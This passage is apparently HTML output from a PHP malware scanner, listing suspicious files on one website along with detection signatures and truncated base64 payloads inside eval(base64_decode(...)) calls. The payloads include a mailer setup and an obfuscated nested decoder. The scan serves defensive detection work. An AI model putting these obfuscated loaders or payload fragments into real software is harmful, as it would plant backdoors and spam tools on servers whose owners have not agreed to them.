</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_129").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/dxqsr.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:53:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:53:28</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_130" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_130").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/mwkyk.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 18:34:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 18:34:28</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_131" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_131").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ztuuu.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:16:37</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:16:37</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_132" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_132").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/zpdjv.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:43:59</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:43:59</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_133" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_133").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovavscpkx.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 20:11:14</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 20:11:14</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_134" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious 